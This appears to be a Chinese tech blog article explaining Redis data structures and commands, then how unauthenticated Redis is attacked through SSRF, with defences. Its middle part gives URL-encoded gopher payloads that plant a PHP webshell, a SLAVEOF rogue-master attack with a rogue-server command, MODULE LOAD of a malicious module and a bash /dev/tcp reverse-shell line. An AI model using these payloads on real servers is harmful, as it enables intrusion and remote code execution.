基础知识《Redis解析》

news/2025/3/15 18:32:26/

Redis 详细解析与介绍

Redis(Remote Dictionary Server)是一个开源的高性能键值对(Key-Value)数据库,支持多种数据结构(如字符串、哈希、列表、集合等),广泛应用于缓存、消息队列、实时数据分析等场景。

核心特点:
  1. 内存存储:数据主要存储在内存中,读写性能极高(10万+/秒 QPS)。
  2. 持久化支持:支持 RDB(快照)和 AOF(追加日志)两种持久化方式。
  3. 多数据结构:支持字符串、哈希、列表、集合、有序集合等。
  4. 单线程模型:避免锁竞争,通过异步I/O处理高并发。
  5. 高可用与集群:支持主从复制、哨兵模式(Sentinel)和集群模式(Cluster)。

Redis 常用命令大全

1. 通用命令
命令说明示例
KEYS pattern匹配所有符合模式的键KEYS user:*
DEL key删除指定键DEL user:1
EXPIRE key seconds设置键的过期时间(秒)EXPIRE user:1 60
TTL key查看键剩余过期时间TTL user:1
TYPE key查看键的数据类型TYPE user:1
2. 字符串(String)
命令说明示例
SET key value设置键值SET name "Alice"
GET key获取键值GET name
INCR key键值自增1INCR counter
APPEND key val追加字符串APPEND name " Smith"
3. 哈希(Hash)
命令说明示例
HSET key field val设置哈希字段值HSET user:1 name "Alice"
HGET key field获取哈希字段值HGET user:1 name
HGETALL key获取所有字段和值HGETALL user:1
4. 列表(List)
命令说明示例
LPUSH key val从列表左侧插入元素LPUSH tasks "task1"
RPOP key从右侧弹出元素RPOP tasks
LRANGE key s e获取列表范围元素LRANGE tasks 0 -1
5. 集合(Set)
命令说明示例
SADD key member添加元素到集合SADD tags "redis"
SMEMBERS key获取集合所有元素SMEMBERS tags
SINTER key1 key2求两个集合的交集SINTER tags1 tags2

SSRF漏洞利用与Redis相关命令

什么是SSRF?

SSRF(Server-Side Request Forgery)是攻击者诱使服务器向内部或第三方系统发起恶意请求的漏洞。结合未授权访问的Redis服务,攻击者可通过SSRF执行高危操作。

Redis SSRF利用场景
  1. 目标环境

    • Redis未设置密码(默认无认证)。
    • Redis服务暴露在内网或公网(默认端口6379)。
  2. 攻击步骤

    • 探测Redis服务:通过SSRF访问 http://victim.com/ssrf?url=redis://内网IP:6379
    • 执行恶意命令:利用Redis协议发送命令,如写入Webshell、反弹Shell等。
高危Redis命令与利用

以下命令常被用于攻击:

命令利用场景
FLUSHALL清空所有数据,为后续攻击做准备。
CONFIG SET dir /path设置Redis持久化目录(如Web目录)。
CONFIG SET dbfilename设置持久化文件名(如写入Webshell shell.php)。
SET key "恶意代码"写入恶意内容到数据库
SAVE触发持久化操作,将数据写入文件(如生成Webshell)。
MODULE LOAD /path.so加载恶意Redis模块(需提前上传)。
SLAVEOF host port设置主从复制,从恶意服务器同步数据(用于RCE)。
EVAL "lua脚本" 0执行Lua脚本(可能用于漏洞利用)。
攻击案例:通过SSRF写入Webshell
# 通过Gopher协议发送Redis命令(需URL编码)
GET /ssrf?url=gopher://redis-server:6379/_*3%0d%0a$3%0d%0aSET%0d%0a$5%0d%0ashell%0d%0a$23%0d%0a%3C?php%20system($_GET[cmd])?%3E%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$3%0d%0adir%0d%0a$13%0d%0a/var/www/html%0d%0a*4%0d%0a$6%0d%0aCONFIG%0d%0a$3%0d%0aSET%0d%0a$10%0d%0adbfilename%0d%0a$9%0d%0ashell.php%0d%0a*1%0d%0a$4%0d%0aSAVE%0d%0a
防御措施
  1. Redis安全配置

    • 设置密码认证(requirepass)。
    • 禁用高危命令(通过 rename-command 重命名或禁用)。
    • 限制绑定IP(bind 127.0.0.1)。
  2. SSRF防护

    • 校验用户输入的URL,禁止访问内网IP和敏感端口。
    • 使用白名单域名/IP限制请求目标。

Redis 主从复制攻击详解整合

主从复制攻击原理

Redis 主从复制(Replication)机制允许从节点(Slave)同步主节点(Master)的数据。攻击者可利用此特性,强制目标Redis作为从节点连接到攻击者控制的恶意主节点,通过同步恶意数据(如加载动态模块或写入Webshell),最终实现远程代码执行(RCE)。

攻击前提条件
  1. Redis未授权访问:目标Redis无密码认证或密码被破解。
  2. SSRF漏洞存在:可通过SSRF触发Redis协议交互(如gopher://dict://)。
  3. 目标Redis支持模块加载(4.x以上版本)或允许文件写入(如Web目录可写)。
攻击步骤与命令
1. 准备恶意主节点
  • 使用工具搭建恶意Redis主节点(如Redis Rogue Server):
    python3 redis-rogue-server.py --rhost <目标IP> --rport 6379 --lhost <攻击者IP> --lport 21000
    
    • 该工具会自动生成恶意模块(.so文件),通过主从复制同步到目标Redis。
2. 强制目标Redis成为从节点

通过SSRF发送SLAVEOF命令,将目标Redis设置为恶意主节点的从节点:

# 通过Gopher协议发送SLAVEOF命令(需URL编码)
GET /ssrf?url=gopher://target-redis:6379/_*3%0d%0a$8%0d%0aSLAVEOF%0d%0a$<攻击者IP长度>%0d%0a<攻击者IP>%0d%0a$5%0d%0a21000%0d%0a
  • 关键命令SLAVEOF <攻击者IP> <端口>
3. 数据同步与恶意模块加载
  1. 目标Redis连接恶意主节点后,自动同步数据。
  2. 恶意主节点发送包含恶意模块(如exp.so)的备份文件。
  3. 通过MODULE LOAD命令加载恶意模块,执行任意命令:
    MODULE LOAD ./exp.so
    system.exec "id"  # 通过模块函数执行系统命令
    
自动化利用工具
  • Redis Rogue Server:一键化主从复制攻击工具,支持RCE。
  • Redis SSRF Exploit:通过SSRF直接发送Payload,无需公网IP。
防御措施
  1. 禁用高危命令
    redis.conf中禁用SLAVEOFMODULE相关命令:
    rename-command SLAVEOF ""
    rename-command MODULE ""
    
  2. 启用认证
    强制使用密码访问:
    requirepass <强密码>
    
  3. 网络隔离
    • 限制Redis仅监听内网(bind 127.0.0.1)。
    • 防火墙规则禁止外部访问Redis端口(6379)。
  4. 最小化模块功能
    非必要场景禁用Redis模块加载。
攻击案例演示
  1. 场景:存在SSRF漏洞的Web应用,内网Redis未授权访问。
  2. 利用
   # 通过SSRF发送SLAVEOF命令http://vuln-web.com/ssrf?url=gopher://127.0.0.1:6379/_*3%0d%0a$8%0d%0aSLAVEOF%0d%0a$14%0d%0a192.168.1.100%0d%0a$5%0d%0a21000%0d%0a
  1. 结果:目标Redis加载恶意模块,攻击者执行system.exec "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"反弹Shell。

Redis 模块管理

一、模块管理命令
  1. MODULE LIST
    查看当前已加载的所有模块,返回模块名称、版本及描述信息。例如:

    MODULE LIST
    

    该命令常用于确认模块是否加载成功。

  2. MODULE LOAD <path> [arg1 arg2 ...]
    动态加载指定路径的模块(.so文件),支持传递参数到模块的 RedisModule_OnLoad 函数。例如:

    MODULE LOAD /path/to/my_module.so arg1 arg2
    

    参数会通过 argvargc 传递给模块的初始化函数 。

  3. MODULE UNLOAD <module-name>
    卸载指定名称的模块(需使用模块注册时的名称,而非文件名)。例如:

    MODULE UNLOAD my_module
    

    若模块定义了 RedisModule_OnUnload 函数,卸载时会自动调用该函数进行资源清理 。

二、配置文件加载模块

在 Redis 启动时通过 redis.conf 配置文件加载模块:

loadmodule /path/to/module.so [arg1 arg2 ...]

此方式适合生产环境,确保模块随 Redis 服务启动自动加载。


Redis CONFIG SET 命令的核心功能、用法及注意事项

一、命令功能

CONFIG SET 允许在 Redis 不重启 的情况下动态修改服务器配置参数,适用于调整内存限制、持久化策略、日志行为等场景。
主要特性

  1. 实时生效:修改的参数会立即加载并影响后续操作。
  2. 支持参数广泛:涵盖大多数 redis.conf 中的配置项(如 maxmemorysaveappendonly 等)。
  3. 灵活性:支持从 RDB 快照切换为 AOF 持久化,或同时启用两者。
二、语法与基本用法
语法
CONFIG SET parameter value [parameter value ...]  
  • 单参数设置CONFIG SET maxmemory 4gb
  • 多参数设置(Redis 7.0+):CONFIG SET maxmemory 4gb save "900 1 300 10"

http://www.ppmy.cn/news/1579370.html

相关文章

【学习笔记】《逆向工程核心原理》03.abex‘crackme-2、函数的调用约定、视频讲座-Tut.ReverseMe1

文章目录 abexcrackme-21. Visual Basic文件的特征1.1. VB专用引擎1.2. 本地代码与伪代码1.3. 事件处理程序1.4. 未文档化的结构体 2. 开始调试2.1. 间接调用2.2. RT_MainStruct结构体2.3. ThunRTMain()函数 3. 分析crackme3.1. 检索字符串3.2. 查找字符串地址3.3. 生成Serial的…

DeepSeek模型本地化部署方案及Python实现

DeepSeek实在是太火了&#xff0c;虽然经过扩容和调整&#xff0c;但反应依旧不稳定&#xff0c;甚至小圆圈转半天最后却提示“服务器繁忙&#xff0c;请稍后再试。” 故此&#xff0c;本文通过讲解在本地部署 DeepSeek并配合python代码实现&#xff0c;让你零成本搭建自己的AI…

Stable Diffusion教程|快速入门SD绘画原理与安装

什么是Stable Diffusion&#xff0c;什么是炼丹师&#xff1f;根据市场研究机构预测&#xff0c;到2025年全球AI绘画市场规模将达到100亿美元&#xff0c;其中Stable Diffusion&#xff08;简称SD&#xff09;作为一种先进的图像生成技术之一&#xff0c;市场份额也在不断增长&…

【资料分享】标准规范汇总(2025.3.13更新)

引言 学习标准规范不仅是测试人员的基本职责&#xff0c;也是确保测试质量、提升产品竞争力和降低风险的关键。通过掌握和应用标准规范&#xff0c;测试工作可以更加规范、高效和权威&#xff0c;为产品和项目的成功提供有力保障。本文分享交换机路由器测试中涉及到标准规范。…

FFmpeg —— 各系统下ffmpeg硬件加速和API支持情况(文内表格形式详细阐述)

介绍 FFmpeg 作为一款功能强大的多媒体处理工具,支持多种硬件加速技术,能够显著提升视频编解码的效率,尤其是在处理高分辨率、高码率视频时表现尤为突出。不同操作系统下,FFmpeg 的硬件加速实现方式和支持的 API 各有特点。 在 Windows 系统上,FFmpeg 主要依赖 DirectX Vi…

完善机器人:让 DeepSeek 生成 API 接口,并在网页上调用

在上一篇文章中&#xff0c;我们使用 DeepSeek 生成了一个 Java 版的 AI 问答机器人&#xff0c;并在终端与 AI 进行交互。但如果想要让更多人使用它&#xff0c;我们需要 搭建一个 API 接口&#xff0c;让网页也能调用 AI 机器人。今天&#xff0c;我们就来学习如何用 AI 生成…

win10 win+shift+s 无法立即连续截图 第二次截图需要等很久

意外的win10做了一次更新&#xff0c;然后系统的截图工具就出现了这个问题。 windows的截图功能&#xff0c;是由 Microsoft Text Input Application 来维护的&#xff0c;是 Windows 系统内置的输入法管理程序&#xff0c;负责协调输入法与系统之间的交互‌ ScreenClippingHo…

探索HTML5 Canvas:创造动态与交互性网页内容的强大工具

探索HTML5 Canvas&#xff1a;创造动态与交互性网页内容的强大工具 引言 在HTML5的众多新特性中&#xff0c;Canvas无疑是最引人注目的元素之一。它为网页设计师和开发者提供了一个通过JavaScript和HTML直接在网页上绘制图形、图像以及进行动画处理的画布。Canvas的灵活性和强…